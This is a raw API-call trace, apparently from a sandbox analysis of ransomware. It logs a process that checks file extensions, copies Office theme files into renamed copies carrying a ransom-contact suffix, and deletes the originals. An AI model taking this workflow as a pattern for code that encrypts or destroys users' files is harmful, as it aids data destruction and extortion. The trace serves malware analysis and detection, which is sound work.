lpString2=".INF") returned -1 [0225.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF") returned 73 [0225.536] lstrlenW (lpString=".1cd") returned 4 [0225.536] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0225.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF") returned 73 [0225.536] lstrlenW (lpString=".jpg") returned 4 [0225.536] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0225.537] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=49850) returned 1 [0225.537] CloseHandle (hObject=0x1a0) returned 1 [0225.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm")) returned 0x20 [0225.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0225.537] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0225.537] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.537] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.537] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0225.538] GetLastError () returned 0x0 [0225.538] ReadFile (in: hFile=0x1a0, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0xc2ba, lpOverlapped=0x0) returned 1 [0225.552] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xc2c0, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xc2c0, lpOverlapped=0x0) returned 1 [0225.553] ReadFile (in: hFile=0x1a0, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.553] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0225.553] SetEndOfFile (hFile=0x1d8) returned 1 [0225.553] CloseHandle (hObject=0x1d8) returned 1 [0225.553] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.553] SetEndOfFile (hFile=0x1a0) returned 1 [0225.554] CloseHandle (hObject=0x1a0) returned 1 [0225.554] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0225.554] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm")) returned 1 [0225.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM") returned 77 [0225.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM") returned 77 [0225.555] lstrlenW (lpString=".doc") returned 4 [0225.555] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0225.555] lstrlenW (lpString=".docx") returned 5 [0225.555] lstrcmpiW (lpString1=".docx", lpString2="M.ELM") returned -1 [0225.555] lstrlenW (lpString=".pdf") returned 4 [0225.555] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0225.555] lstrlenW (lpString=".xls") returned 4 [0225.555] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0225.555] lstrlenW (lpString=".xlsx") returned 5 [0225.555] lstrcmpiW (lpString1=".xlsx", lpString2="M.ELM") returned -1 [0225.555] lstrlenW (lpString=".ppt") returned 4 [0225.555] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0225.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM") returned 77 [0225.555] lstrlenW (lpString=".zip") returned 4 [0225.555] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0225.555] lstrlenW (lpString=".rar") returned 4 [0225.555] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0225.555] lstrlenW (lpString=".bz2") returned 4 [0225.555] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0225.555] lstrlenW (lpString=".7z") returned 3 [0225.555] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0225.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM") returned 77 [0225.555] lstrlenW (lpString=".dbf") returned 4 [0225.555] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0225.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM") returned 77 [0225.555] lstrlenW (lpString=".1cd") returned 4 [0225.555] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0225.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM") returned 77 [0225.555] lstrlenW (lpString=".jpg") returned 4 [0225.555] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0225.557] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.557] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.557] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.inf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0225.558] GetLastError () returned 0x0 [0225.558] ReadFile (in: hFile=0x1d8, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x225, lpOverlapped=0x0) returned 1 [0225.558] WriteFile (in: hFile=0x184, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0x230, lpOverlapped=0x0) returned 1 [0225.559] ReadFile (in: hFile=0x1d8, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.559] WriteFile (in: hFile=0x184, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0225.559] SetEndOfFile (hFile=0x184) returned 1 [0225.560] CloseHandle (hObject=0x184) returned 1 [0225.560] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.560] SetEndOfFile (hFile=0x1d8) returned 1 [0225.560] CloseHandle (hObject=0x1d8) returned 1 [0225.560] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0225.560] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.inf")) returned 1 [0225.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF") returned 77 [0225.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF") returned 77 [0225.561] lstrlenW (lpString=".doc") returned 4 [0225.561] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0225.561] lstrlenW (lpString=".docx") returned 5 [0225.561] lstrcmpiW (lpString1=".docx", lpString2="T.INF") returned -1 [0225.561] lstrlenW (lpString=".pdf") returned 4 [0225.561] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0225.561] lstrlenW (lpString=".xls") returned 4 [0225.561] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0225.561] lstrlenW (lpString=".xlsx") returned 5 [0225.561] lstrcmpiW (lpString1=".xlsx", lpString2="T.INF") returned -1 [0225.561] lstrlenW (lpString=".ppt") returned 4 [0225.561] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0225.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF") returned 77 [0225.561] lstrlenW (lpString=".zip") returned 4 [0225.561] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0225.561] lstrlenW (lpString=".rar") returned 4 [0225.561] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0225.561] lstrlenW (lpString=".bz2") returned 4 [0225.561] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0225.561] lstrlenW (lpString=".7z") returned 3 [0225.561] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0225.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF") returned 77 [0225.561] lstrlenW (lpString=".dbf") returned 4 [0225.562] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0225.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF") returned 77 [0225.562] lstrlenW (lpString=".1cd") returned 4 [0225.562] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0225.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF") returned 77 [0225.562] lstrlenW (lpString=".jpg") returned 4 [0225.562] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0225.562] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=60154) returned 1 [0225.562] CloseHandle (hObject=0x1d8) returned 1 [0225.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm")) returned 0x20 [0225.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0225.562] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0225.563] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.563] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.563] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0225.563] GetLastError () returned 0x0 [0225.563] ReadFile (in: hFile=0x1d8, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0xeafa, lpOverlapped=0x0) returned 1 [0225.578] WriteFile (in: hFile=0x184, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xeb00, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xeb00, lpOverlapped=0x0) returned 1 [0225.579] ReadFile (in: hFile=0x1d8, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.579] WriteFile (in: hFile=0x184, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0225.579] SetEndOfFile (hFile=0x184) returned 1 [0225.579] CloseHandle (hObject=0x184) returned 1 [0225.579] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.579] SetEndOfFile (hFile=0x1d8) returned 1 [0225.580] CloseHandle (hObject=0x1d8) returned 1 [0225.580] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0225.580] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm")) returned 1 [0225.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM") returned 77 [0225.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM") returned 77 [0225.581] lstrlenW (lpString=".doc") returned 4 [0225.581] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0225.581] lstrlenW (lpString=".docx") returned 5 [0225.581] lstrcmpiW (lpString1=".docx", lpString2="I.ELM") returned -1 [0225.581] lstrlenW (lpString=".pdf") returned 4 [0225.581] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0225.581] lstrlenW (lpString=".xls") returned 4 [0225.581] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0225.581] lstrlenW (lpString=".xlsx") returned 5 [0225.581] lstrcmpiW (lpString1=".xlsx", lpString2="I.ELM") returned -1 [0225.581] lstrlenW (lpString=".ppt") returned 4 [0225.581] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0225.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM") returned 77 [0225.581] lstrlenW (lpString=".zip") returned 4 [0225.581] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0225.581] lstrlenW (lpString=".rar") returned 4 [0225.581] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0225.581] lstrlenW (lpString=".bz2") returned 4 [0225.581] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0225.581] lstrlenW (lpString=".7z") returned 3 [0225.581] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0225.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM") returned 77 [0225.581] lstrlenW (lpString=".dbf") returned 4 [0225.581] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0225.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM") returned 77 [0225.581] lstrlenW (lpString=".1cd") returned 4 [0225.581] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0225.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM") returned 77 [0225.581] lstrlenW (lpString=".jpg") returned 4 [0225.581] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0225.582] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.583] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.583] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.inf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0225.583] GetLastError () returned 0x0 [0225.583] ReadFile (in: hFile=0x1d8, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x1c2, lpOverlapped=0x0) returned 1 [0225.584] WriteFile (in: hFile=0x184, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0x1d0, lpOverlapped=0x0) returned 1 [0225.584] ReadFile (in: hFile=0x1d8, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.584] WriteFile (in: hFile=0x184, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0225.585] SetEndOfFile (hFile=0x184) returned 1 [0225.585] CloseHandle (hObject=0x184) returned 1 [0225.585] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.585] SetEndOfFile (hFile=0x1d8) returned 1 [0225.585] CloseHandle (hObject=0x1d8) returned 1 [0225.585] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0225.586] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.inf")) returned 1 [0225.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF") returned 73 [0225.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF") returned 73 [0225.586] lstrlenW (lpString=".doc") returned 4 [0225.586] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0225.586] lstrlenW (lpString=".docx") returned 5 [0225.586] lstrcmpiW (lpString1=".docx", lpString2="E.INF") returned -1 [0225.586] lstrlenW (lpString=".pdf") returned 4 [0225.586] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0225.586] lstrlenW (lpString=".xls") returned 4 [0225.586] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0225.586] lstrlenW (lpString=".xlsx") returned 5 [0225.586] lstrcmpiW (lpString1=".xlsx", lpString2="E.INF") returned -1 [0225.586] lstrlenW (lpString=".ppt") returned 4 [0225.586] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0225.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF") returned 73 [0225.586] lstrlenW (lpString=".zip") returned 4 [0225.586] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0225.586] lstrlenW (lpString=".rar") returned 4 [0225.586] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0225.586] lstrlenW (lpString=".bz2") returned 4 [0225.586] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0225.586] lstrlenW (lpString=".7z") returned 3 [0225.586] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0225.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF") returned 73 [0225.586] lstrlenW (lpString=".dbf") returned 4 [0225.586] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0225.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF") returned 73 [0225.586] lstrlenW (lpString=".1cd") returned 4 [0225.586] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0225.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF") returned 73 [0225.586] lstrlenW (lpString=".jpg") returned 4 [0225.586] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0225.587] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=44745) returned 1 [0225.587] CloseHandle (hObject=0x1d8) returned 1 [0225.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm")) returned 0x20 [0225.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0225.587] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0225.587] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.587] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.587] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0225.588] GetLastError () returned 0x0 [0225.588] ReadFile (hFile=0x1d8, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0) Thread: id = 15 os_tid = 0x33c [0203.829] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x773b0000 [0203.830] GetProcAddress (hModule=0x773b0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x773dd650 [0203.830] Wow64DisableWow64FsRedirection (in: OldValue=0x2f9ff58 | out: OldValue=0x2f9ff58*=0x0) returned 1 [0203.830] lstrlenW (lpString="kernel32.dll") returned 12 [0203.830] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0203.830] Sleep (dwMilliseconds=0x64) [0204.115] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0204.116] lstrlenW (lpString="ExcelMUI.xml") returned 12 [0204.116] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0204.454] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=1565) returned 1 [0204.454] CloseHandle (hObject=0x198) returned 1 [0204.454] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml")) returned 0x2020 [0204.454] GetFileAttributesW (lpFileName="C:\\MSOCache\\All 